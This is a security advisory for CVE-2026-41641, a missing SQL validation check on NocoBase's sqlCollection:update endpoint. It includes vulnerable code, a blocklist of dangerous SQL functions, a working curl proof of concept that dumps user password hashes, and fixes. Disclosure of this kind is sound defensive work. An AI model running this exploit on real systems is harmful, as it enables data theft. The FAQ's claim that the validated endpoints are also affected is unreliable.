CVE-2026-41641: NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call
Summary
The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)
Vulnerable Code
checkSQL is applied on create and execute
packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... }
checkSQL is NOT applied on update
javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... }
The checkSQL function itself
packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28
javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pgreadfile', 'pgwritefile', 'pglsdir', 'LOADFILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'loimport', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } };
PoC
bash TOKEN="<adminjwttoken>"
Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfilcollection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }'
Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pgreadfile('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' Returns: 400 "SQL statements contain dangerous keywords"
Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfilcollection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' Returns: 200 OK — no validation!
Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfilcollection:list" \ -H "Authorization: Bearer $TOKEN" Returns: all rows from users table including password hashes
Impact
- Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes. - Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pgreadfile, LOADFILE, dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pgreadfile reads arbitrary files from the database server filesystem.
Fix Suggestion
1. Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }
2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.
3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.
Other sources
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.
— MITRE
Affected Software
Remediation
Patch Available
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41641?
CVE-2026-41641 has a critical severity due to the missing validation on the sqlCollection:update endpoint which can allow SQL injection attacks.
How do I fix CVE-2026-41641?
To fix CVE-2026-41641, update the @nocobase/plugin-collection-sql package to version 2.0.39 or later.
What endpoints are affected by CVE-2026-41641?
CVE-2026-41641 affects the sqlCollection:update endpoint, among others like collections:create and sqlCollection:execute.
What kind of attacks can be executed through CVE-2026-41641?
An attacker could exploit CVE-2026-41641 to perform SQL injection attacks, gaining unauthorized access to the database.
Is there a workaround for CVE-2026-41641 before applying a fix?
As a temporary measure, restricting access to the sqlCollection:update endpoint can mitigate the risk of CVE-2026-41641 until a fix is applied.